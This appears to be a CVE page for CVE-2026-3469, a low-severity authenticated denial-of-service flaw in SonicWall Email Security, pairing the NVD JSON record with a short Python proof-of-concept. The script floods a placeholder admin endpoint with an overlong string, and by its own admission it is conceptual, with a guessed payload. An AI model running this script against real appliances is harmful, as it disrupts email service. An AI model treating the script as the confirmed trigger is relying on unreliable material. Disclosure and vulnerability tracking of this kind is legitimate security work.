CVE-2026-3469

import requests # This is a conceptual Proof of Concept (PoC) for demonstration purposes only. # It simulates sending a payload that might trigger the input validation issue. TARGET_URL = "https://<target-ip>/admin/endpoint" ADMIN_SESSION_COOKIE = "<valid_admin_cookie>" headers = { "Cookie": f"session={ADMIN_SESSION_COOKIE}", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload designed to trigger improper input validation (e.g., overly long string or special chars) payload = { "input_field": "A" * 10000 + "< malicious_data >" } try: print(f"Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, data=payload, headers=headers, verify=False, timeout=10) print(f"Response Status Code: {response.status_code}") if response.status_code == 500 or response.status_code == 503: print("Potential DoS triggered - Server returned error.") else: print("Request completed, check device status manually.") except Exception as e: print(f"Request failed or connection timed out (potential DoS): {e}")

{"cve": {"id": "CVE-2026-3469", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:33.163", "lastModified": "2026-04-13T16:49:49.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial-of-service (DoS) vulnerability exists due to improper input validation in the SonicWall Email Security appliance, allowing a remote authenticated attacker as admin user to cause the application to become unresponsive."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.35.8405", "matchCriteriaId": "AD63C704-413C-43B7-9475-A19411E3BF6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa5000:-:*:*:*:*:*:*:*", "matchCriteriaId": "91ED89A0-CFFB-44D3-8DE8-64E8DB635872"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa5050:-:*:*:*:*:*:*:*", "matchCriteriaId": "69CD3296-0424-46C7-82F1-3BE7892B72C2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa7000:-:*:*:*:*:*:*:*", "matchCriteriaId": "3FE6D8AA-F614-404A-9006-A94763AA23B5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa7050:-:*:*:*:*:*:*:*", "matchCriteriaId": "F748C59C-740B-4F52-9E0D-70F7D4E9AA07"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa9000:-:*:*:*:*:*:*:*", "matchCriteriaId": "7D46ECFF-FA41-4861-A047-1EEFD89D13DD"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0002", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}